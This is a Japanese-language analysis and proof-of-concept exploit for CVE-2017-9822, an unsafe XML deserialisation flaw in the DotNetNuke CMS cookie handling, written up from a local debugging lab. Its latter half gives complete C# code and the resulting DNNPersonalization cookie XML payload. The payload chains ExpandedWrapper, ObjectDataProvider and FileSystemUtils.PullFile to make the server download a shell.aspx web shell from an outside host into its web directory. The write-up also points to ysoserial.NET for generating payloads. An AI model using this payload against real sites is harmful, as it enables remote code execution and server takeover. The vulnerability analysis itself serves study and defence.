
CVE-2017-9822の詳細な分析と概念実証エクスプロイト。DotNetNuke CMSのXXE/安全でない逆シリアル化の脆弱性で、Cookie操作によるリモートコード実行につながります。
DotNetNuke(通常は DNN と略される)は、Microsoft の ASP.NET テクノロジに基づく CMS(コンテンツ管理システム)プラットフォーム および Webアプリケーションフレームワーク です。
影響を受ける製品: DotNetNuke(DNN Platform) – 一般的な .NET CMS/ポータル。
公開日: 2017年7月。
深刻度: Critical(CVSS 約9.8)。
脆弱性の種類: XML External Entity (XXE) / 安全でない逆シリアル化 → リモートコード実行 (RCE)。
影響: バージョン 9.1.1 より前では Cookie を介してリモートでコードを実行される可能性があります。
ここでは、Windows 10 を使用してプログラムのセットアップとデバッグを行っています。インストールしたバージョンは 9.1.0 です。インストール方法は こちら を参照してください。完了時の結果は次のとおりです:


私が読んだレポートによると、この脆弱性は DotNetNuke の Cookie 処理部分に存在します。
DNN は、DNNPersonalization Cookie に対して安全でない逆シリアル化(unsafe deserialization)を使用しています。

.dll や .exe などのコンパイル済みファイルから ソースコードを表示、分析、編集 できます。こちら からインストールできます。デバッグには 2 つのバージョンをダウンロードする必要があります。
DotNetNuke.dll を開き、Edit Assembly Attributes (C#) を選択します。
[assembly: Debuggable(DebuggableAttribute.DebuggingModes.IgnoreSymbolStoreSequencePoints)]
[assembly: Debuggable(DebuggableAttribute.DebuggingModes.Default |
DebuggableAttribute.DebuggingModes.DisableOptimizations |
DebuggableAttribute.DebuggingModes.IgnoreSymbolStoreSequencePoints |
DebuggableAttribute.DebuggingModes.EnableEditAndContinue)]

その後、保存します。
Attach to Process を選択します。
w3wp.exe を選択します。
w3wp.exe を選択する理由は次のとおりです:
w3wp.exe は IIS Worker Process です。
IIS の Application Pool が実行するプロセスです。
Web サイトに HTTP リクエストが送信されると、IIS はそのリクエストを処理するために w3wp.exe を作成または再利用します(ASP.NET コードの実行、モジュール、ミドルウェア、データベース接続などの処理)。
各 Application Pool は、構成(Web Garden、リサイクル)に応じて 1 つまたは複数の w3wp.exe プロセスを持つことができます。
次に、Debug -> Window -> Modules を選択します。

完了すると Modules が表示されるので、任意の項目を右クリックして Open All Modules を選択します。

最後に、DNN に関連するすべての Assembly が表示されます。

DotNetNuke.dll の PersonalizationController#LoadProfile(int, int) 内に入ります。
この関数は、DNN ポータルでユーザーの個人設定(プロファイル)データを読み込むために使用されます。
ログイン済みユーザーの場合 → データベース + キャッシュ からプロファイルを取得します。
匿名ユーザー(未ログイン)の場合 → Cookie DNNPersonalization からプロファイルを取得します。
ここでは、DNNPersonalization に焦点を当てるべきです。
userId が無効な場合(匿名ユーザー)。
リクエスト内に DNNPersonalization Cookie があるかどうかを確認します。
あれば → この Cookie から XML 値を取得します。
Web サイトに 404 リクエストを送信し、任意の DNNPersonalization を使用します。dnSpy で DotNetNuke.dll の PersonalizationController#LoadProfile(int, int) にブレークポイントを設定すると、デバッグできます。


PortalSettings クラスの分析に焦点を当てましょう。
注目すべき点は、現在のリクエストが IsAuthenticated であるかどうかを if 条件で確認していることです。
そして、送信したリクエストは 404 であるため、unauthenticated になります。
さらに Call Stack 内で、Handle404OrException に注目します。

context.User が null かどうかを確認し、null の場合は context.User に現在のスレッドユーザーを割り当てます。

Handle404OrException 内では、IsAuthenticated 変数が true になり、ユーザーは IIS サーバーのユーザーであるため、リクエストは認証済みユーザーとして処理されることがわかります。
問題の原因は次のコードにあります。
else if (transfer)
{
if (context.User == null)
{
context.User = Thread.CurrentPrincipal;
}
response.TrySkipIisCustomErrors = true;
IHttpHandler handler = new CDefault();
context.Handler = handler;
server.Transfer("~/" + text, true);
}
context.User が存在しない場合 → Thread.CurrentPrincipal(つまり現在のスレッドの ID)を割り当てます。
これにより、後続の処理でリクエストにユーザー/ロール情報が含まれるようになります。
=> DNNPersonalization 変数を使用して Cookie に任意の内容を渡すと、通常のユーザーとして実行されます。
引き続き DotNetNuke.dll の PersonalizationController#LoadProfile(int, int) 内で確認します。
変数 text が Cookie の値を受け取り、その後 Globals.DeserializeHashTableXml() への入力として渡されることがわかります。

Globals.DeserializeHashTableXml() の中に入ります。
DeserializeHashTableXml 関数の役割:
XML 文字列(Source)を受け取ります。
その XML 文字列を解析して、Hashtable オブジェクトに変換します。
解析中に、"profile" パラメータを指定して XML ルートノードを指定し、XmlUtils.DeSerializeHashtable 関数を呼び出します。
XmlUtils.DeSerializeHashtable の中に入ると、その処理方法がわかります。

DeSerializeHashtable 関数は XML 文字列を受け取り、それを Hashtable に変換します。各 <item> ノードに対して、関数は次の処理を行います:
key をキーとして取得します。
type を取得し、Type.GetType(type) を呼び出してデータ型を特定します。
XmlSerializer.Deserialize を使用して、XML の内容を実際のオブジェクトに変換します。
Hashtable に追加します。
👉 問題:type と XML の内容は(Cookie DNNPersonalization から)完全にユーザーが制御できます。
XmlUtils#DeSerializeHashtable が脆弱性の位置であることを踏まえ、オブジェクトをシリアル化/逆シリアル化する同様のプログラムを作成します:
using System.Xml;
using System.Diagnostics;
using System.Xml.Serialization;
namespace example
{
public class Test
{
private string _name;
public string name
{
get { return _name; }
set { this._name = value; execCMD(); }
}
private void execCMD()
{
Process process = new Process();
process.StartInfo.FileName = this._name;
process.Start();
process.Dispose(); // close
}
}
public class Program
{
private static string fileFolder = "D:\\lab\\csharp\\DNN\\example\\serialization\\";
public static void Serialize(Object obj) // method xml serialize arbitrary object
{
// tạo xml root element
XmlDocument xmlDocument = new XmlDocument();
XmlElement xmlElementRoot = xmlDocument.CreateElement("profile");
xmlDocument.AppendChild(xmlElementRoot);
// tạo node con item có attribute type chứa tên object type
XmlElement xmlElementItem = xmlDocument.CreateElement("item");
xmlElementItem.SetAttribute("type", obj.GetType().AssemblyQualifiedName);
// serialize obj thành xmlDocumentObj
XmlDocument xmlDocumentObj = new XmlDocument();
XmlSerializer xmlSerializer = new XmlSerializer(obj.GetType());
StringWriter stringWriter = new StringWriter();
xmlSerializer.Serialize(stringWriter, obj);
xmlDocumentObj.LoadXml(stringWriter.ToString());
// thêm xml serialized object này vào node item và thêm node item vào root element
xmlElementItem.AppendChild(xmlDocument.ImportNode(xmlDocumentObj.DocumentElement, true));
xmlElementRoot.AppendChild(xmlElementItem);
File.WriteAllText( fileFolder + "obj.xml", xmlDocument.OuterXml);
}
public static void DeSerialize(string xmlSource, string rootname)
{
// Hashtable hashtable = new Hashtable();
if (!string.IsNullOrEmpty(xmlSource))
{
try
{
XmlDocument xmlDocument = new XmlDocument();
xmlDocument.LoadXml(xmlSource);
foreach (object obj in xmlDocument.SelectNodes(rootname + "/item"))
{
XmlElement xmlElement = (XmlElement)obj;
string attribute = xmlElement.GetAttribute("key");
string attribute2 = xmlElement.GetAttribute("type");
XmlSerializer xmlSerializer = new XmlSerializer(Type.GetType(attribute2));
XmlTextReader xmlReader = new XmlTextReader(new StringReader(xmlElement.InnerXml));
// hashtable.Add(attribute, xmlSerializer.Deserialize(xmlReader));
// custom
Object objResult = xmlSerializer.Deserialize(xmlReader);
Test testObj = (Test) objResult;
Console.WriteLine("Deserialize sucessful: " + testObj.name);
}
}
catch (Exception)
{
}
}
// return hashtable;
}
static void Main(string[] args)
{
// serialize
Test test = new Test();
test.name = "notepad.exe"
Serialize(test);
// deserialize
String xmlSource = File.ReadAllText(fileFolder + "obj.xml");
DeSerialize(xmlSource, "profile");
}
}
}
xml ファイルは次のようになります:<?xml version="1.0" encoding="utf-8"?>
<profile>
<item type="example.Test, ConsoleApp1, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null">
<Test xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<name>notepad.exe</name>
</Test>
</item>
</profile>

Deserialize を実行したときにコードを実行できるオブジェクトを見つける必要があります。FileSystemUtils PullFile method を見つけました。
説明:
PullFile(string URL, string FilePath) — FileSystemUtils の静的メソッドで、URL からコンテンツをシステム上の FilePath パスにダウンロードするために使用されます。
内部では WebClient.DownloadFile(URL, FilePath) を使用してファイルをダウンロードして書き込みます。
catch はエラーをログに記録してメッセージを返すだけで、例外を再スローしません。
しかし、問題があります。XmlSerializer はクラスのメソッドをシリアル化できず、パブリックなフィールドとプロパティのみをシリアル化できます。FileSystemUtils クラスのパブリックなフィールドとプロパティには、PullFile メソッドを呼び出せるものはありません。
では、ObjectDataProvider クラス に移ります。
ObjectDataProvider は WPF のクラスです(名前空間 System.Windows.Data、モジュール PresentationFramework.dll)。
ランタイムでメソッドを呼び出す機能があります — データを保持するだけでなく、ラップされたオブジェクト上の任意のメソッドを呼び出して アクション(副作用)を実行 できます。
パラメータを渡すことができます — 攻撃者はメソッドに渡すパラメータを制御できます(たとえば、PullFile メソッドの URL とファイルパス)。
ObjectDataProvider 自体はインタープリタのように「コードを実行」するわけではありません。ただし、ラップされたオブジェクト上の任意のパブリックメソッドを呼び出すことができます。そのため、危険な副作用(ファイルのダウンロード、プロセスの実行、ファイルの書き込みなど)を持つパブリックメソッドが存在すると、チェーンを実行できます。

DataSourceProvider の Refresh() を呼び出しています。
BeginQuery() に移動します。ObjectDataProvider は DataSourceProvider から継承しているため、ObjectDataProvider の BeginQuery() に移ります。
QueryWorker です。
InvokeMethodOnInstance を呼び出します。
InvokeMethodOnInstance は実際の実行(invoke)メソッドです。リフレクションを使用して、ObjectDataProvider が「ラップ」しているオブジェクト上で指定されたメソッド(MethodName)を呼び出し(静的メソッドの場合はその型)、MethodParameters リストを渡し、そのメソッドの戻り値を返します。
DotNetNuke.dll と PresentationFramework.dll モジュールへの参照が必要です。
実行可能なペイロードは次のとおりです。
using System;
using System.IO;
using System.Xml;
using System.Xml.Serialization;
using System.Windows.Data; // ObjectDataProvider
using DotNetNuke.Common.Utilities; // FileSystemUtils (nếu bạn đã add DLL)
using System.Data.Services.Internal; // ExpandedWrapper (nếu có)
namespace example
{
public class Program
{
private static string fileFolder = "C:\\Users\\chinh\\Documents\\DNN"; // CHANGE THIS
public static void Serialize(Object obj) // method xml serialize arbitrary object
{
// tạo xml root element
XmlDocument xmlDocument = new XmlDocument();
XmlElement xmlElementRoot = xmlDocument.CreateElement("profile");
xmlDocument.AppendChild(xmlElementRoot);
// tạo node con item có attribute type chứa tên object type
XmlElement xmlElementItem = xmlDocument.CreateElement("item");
xmlElementItem.SetAttribute("type", obj.GetType().AssemblyQualifiedName);
// serialize obj thành xmlDocumentObj
XmlDocument xmlDocumentObj = new XmlDocument();
XmlSerializer xmlSerializer = new XmlSerializer(obj.GetType());
StringWriter stringWriter = new StringWriter();
xmlSerializer.Serialize(stringWriter, obj);
xmlDocumentObj.LoadXml(stringWriter.ToString());
// thêm xml serialized object này vào node item và thêm node item vào root element
xmlElementItem.AppendChild(xmlDocument.ImportNode(xmlDocumentObj.DocumentElement, true));
xmlElementRoot.AppendChild(xmlElementItem);
File.WriteAllText(fileFolder + "obj.xml", xmlDocument.OuterXml);
}
public static void DeSerialize(string xmlSource, string rootname)
{
// Hashtable hashtable = new Hashtable();
if (!string.IsNullOrEmpty(xmlSource))
{
try
{
XmlDocument xmlDocument = new XmlDocument();
xmlDocument.LoadXml(xmlSource);
foreach (object obj in xmlDocument.SelectNodes(rootname + "/item"))
{
XmlElement xmlElement = (XmlElement)obj;
string attribute = xmlElement.GetAttribute("key");
string attribute2 = xmlElement.GetAttribute("type");
XmlSerializer xmlSerializer = new XmlSerializer(Type.GetType(attribute2));
XmlTextReader xmlReader = new XmlTextReader(new StringReader(xmlElement.InnerXml));
// hashtable.Add(attribute, xmlSerializer.Deserialize(xmlReader));
// custom
Object objResult = xmlSerializer.Deserialize(xmlReader);
}
}
catch (Exception)
{
}
}
// return hashtable;
}
static void Main(string[] args)
{
ExpandedWrapper<FileSystemUtils, ObjectDataProvider> expandedWrapper = new ExpandedWrapper<FileSystemUtils, ObjectDataProvider>();
expandedWrapper.ProjectedProperty0 = new ObjectDataProvider();
expandedWrapper.ProjectedProperty0.ObjectInstance = new FileSystemUtils();
expandedWrapper.ProjectedProperty0.MethodName = "PullFile";
expandedWrapper.ProjectedProperty0.MethodParameters.Add("https://192.168.72.102:8000/shell.aspx");
expandedWrapper.ProjectedProperty0.MethodParameters.Add("C:\\Web\\DNN_Platform_9.1.0.367_Install\\js\\shell.aspx");
Console.WriteLine("Done!!");
Serialize(expandedWrapper);
String xmlSource = File.ReadAllText(fileFolder + "obj.xml");
DeSerialize(xmlSource, "profile");
}
}
}
次のような xml ファイルが得られます。
<profile>
<item key="myTableEntry" type="System.Data.Services.Internal.ExpandedWrapper`2[[DotNetNuke.Common.Utilities.FileSystemUtils],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089">
<ExpandedWrapperOfFileSystemUtilsObjectDataProvider xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<ExpandedElement/>
<ProjectedProperty0>
<MethodName>PullFile</MethodName>
<MethodParameters>
<anyType xsi:type="xsd:string">http://192.168.72.102:8000/shell.aspx</anyType>
<anyType xsi:type="xsd:string">C:\Web\DNN_Platform_9.1.0.367_Install\js\shell.aspx</anyType>
</MethodParameters>
<ObjectInstance xsi:type="FileSystemUtils"></ObjectInstance>
</ProjectedProperty0>
</ExpandedWrapperOfFileSystemUtilsObjectDataProvider>
</item>
</profile>
ペイロードを挿入します。



では、実際にエクスプロイトを実行しましょう。

さらに、ツール ysoserial.NET を使用してペイロードを生成することもできます。


さらに、FileSystemUtils クラスの WriteFile によるファイル読み取りも悪用できます。

